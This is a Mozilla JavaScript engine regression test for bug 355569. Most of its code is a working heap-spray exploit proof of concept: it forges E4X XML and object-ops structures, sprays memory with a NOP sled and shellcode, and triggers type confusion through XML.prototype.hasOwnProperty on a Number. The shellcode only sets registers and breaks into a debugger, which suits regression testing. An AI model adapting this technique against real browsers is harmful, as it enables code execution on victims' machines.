gecko/js/tests/e4x/Regress/regress-355569.js

164 lines
6.0 KiB
JavaScript

/* -*- Mode: java; tab-width:8; indent-tabs-mode: nil; c-basic-offset: 4 -*- */
/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
*
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
*
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
*
* The Original Code is JavaScript Engine testing utilities.
*
* The Initial Developer of the Original Code is
* Mozilla Foundation.
* Portions created by the Initial Developer are Copyright (C) 2006
* the Initial Developer. All Rights Reserved.
*
* Contributor(s): shutdown
*
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
*
* ***** END LICENSE BLOCK ***** */
gTestfile = 'regress-355569.js';
var bug = 355569;
var actual = '';
var expect = '';
START('XML.prototype.hasOwnProperty foo');
printBugNumber (bug);
printStatus (summary);
var targetAddress = 0x12030010;
var sprayParams = {
chunkSize: 16 * 1024 * 1024,
chunkCount: 16,
chunkMarker: 0xdeadface,
chunkAlign: 0x1000,
reservedSize: 1024
};
function makeExploitCode() {
/* mov eax, 0xdeadfeed; mov ebx, eax; mov ecx, eax; mov edx, eax; int3 */
return "\uEDB8\uADFE\u89DE\u89C3\u89C1\uCCC2";
}
/*==========================================================================*/
/*==========================================================================*/
function packData(template, A) {
var n = 0, result = "", vl;
for(var i = 0; i < template.length; i++) {
var ch = template.charAt(i);
if(ch == "s" || ch == "S") {
vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff);
} else if(ch == "l" || ch == "L") { // XXX endian
vl = A[n++] >>> 0; result += String.fromCharCode(vl & 0xffff, vl >> 16);
} else if(ch == "=") {
result += String(A[n++]);
}
}
return result;
}
function buildStructure(worker, address) {
var offs = {}, result = "", context = {
append: function(k, v) { offs[k] = result.length * 2; result += v; },
address: function(k) { return address + ((k && offs[k]) || 0); }
}; worker(context); result = ""; worker(context); return result;
}
function repeatToLength(s, L) {
if(L <= s.length) { return s.substring(0, L); }
while(s.length <= L/2) { s += s; }
return s + s.substring(0, L - s.length);
}
function sprayData(data, params, rooter) {
var marker = packData("L", [ params.chunkMarker ]);
data += repeatToLength("\u9090", params.chunkAlign / 2 - data.length);
data = repeatToLength(data, (params.chunkSize - params.reservedSize) / 2);
for(var i = 0; i < params.chunkCount; i++) {
rooter[i] = marker + data + i;
}
}
function T_JSObject(map, slots)
{ return packData("LL", arguments); }
function T_JSObjectMap(nrefs, ops, nslots, freeslot)
{ return packData("LLLL", arguments); }
function T_JSObjectOps(
newObjectMap, destroyObjectMap, lookupProperty, defineProperty,
getProperty, setProperty, getAttributes, setAttributes,
deleteProperty, defaultValue, enumerate, checkAccess,
thisObject, dropProperty, call, construct,
xdrObject, hasInstance, setProto, setParent,
mark, clear, getRequiredSlot, setRequiredSlot
) { return packData("LLLLLLLL LLLLLLLL LLLLLLLL", arguments); }
function T_JSXML_LIST(
object, domnode, parent, name, xml_class, xml_flags,
kids_length, kids_capacity, kids_vector, kids_cursors,
xml_target, xml_targetprop
) { return packData("LLLLSS LLLL LL", arguments); }
function T_JSXML_ELEMENT(
object, domnode, parent, name, xml_class, xml_flags,
kids_length, kids_capacity, kids_vector, kids_cursors,
nses_length, nses_capacity, nses_vector, nses_cursors,
atrs_length, atrs_capacity, atrs_vector, atrs_cursors
) { return packData("LLLLSS LLLL LLLL LLLL", arguments); }
/*==========================================================================*/
/*==========================================================================*/
function makeExploitData(address) {
return buildStructure(function(ctx) {
ctx.append("xml-list",
T_JSXML_LIST(0, 0, 0, 0, 0, 0, 1, 0, ctx.address("xml-kids-vector"), 0, 0, 0));
ctx.append("xml-kids-vector",
packData("L", [ ctx.address("xml-element") ]));
ctx.append("xml-element",
T_JSXML_ELEMENT(ctx.address("object"), 0, 0, 0, 1, 0, 0, 0, 0, 0, /*c*/ 0, 0, 0, 0, /*d*/ 0, 0, 0, 0));
ctx.append("object",
T_JSObject(ctx.address("object-map"), 0));
ctx.append("object-map",
T_JSObjectMap(0, ctx.address("object-ops"), 0, 0));
ctx.append("object-ops",
T_JSObjectOps(0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ctx.address("exploit-code"), 0));
ctx.append("exploit-code",
makeExploitCode(ctx));
}, address);
}
function exploit() {
sprayData(makeExploitData(targetAddress), sprayParams, this.rooter = {});
var numobj = new Number(targetAddress >> 1);
XML.prototype.function::hasOwnProperty.call(numobj);
printStatus("probably not exploitable");
}
try
{
exploit();
}
catch(ex)
{
}
TEST(1, expect, actual);
END();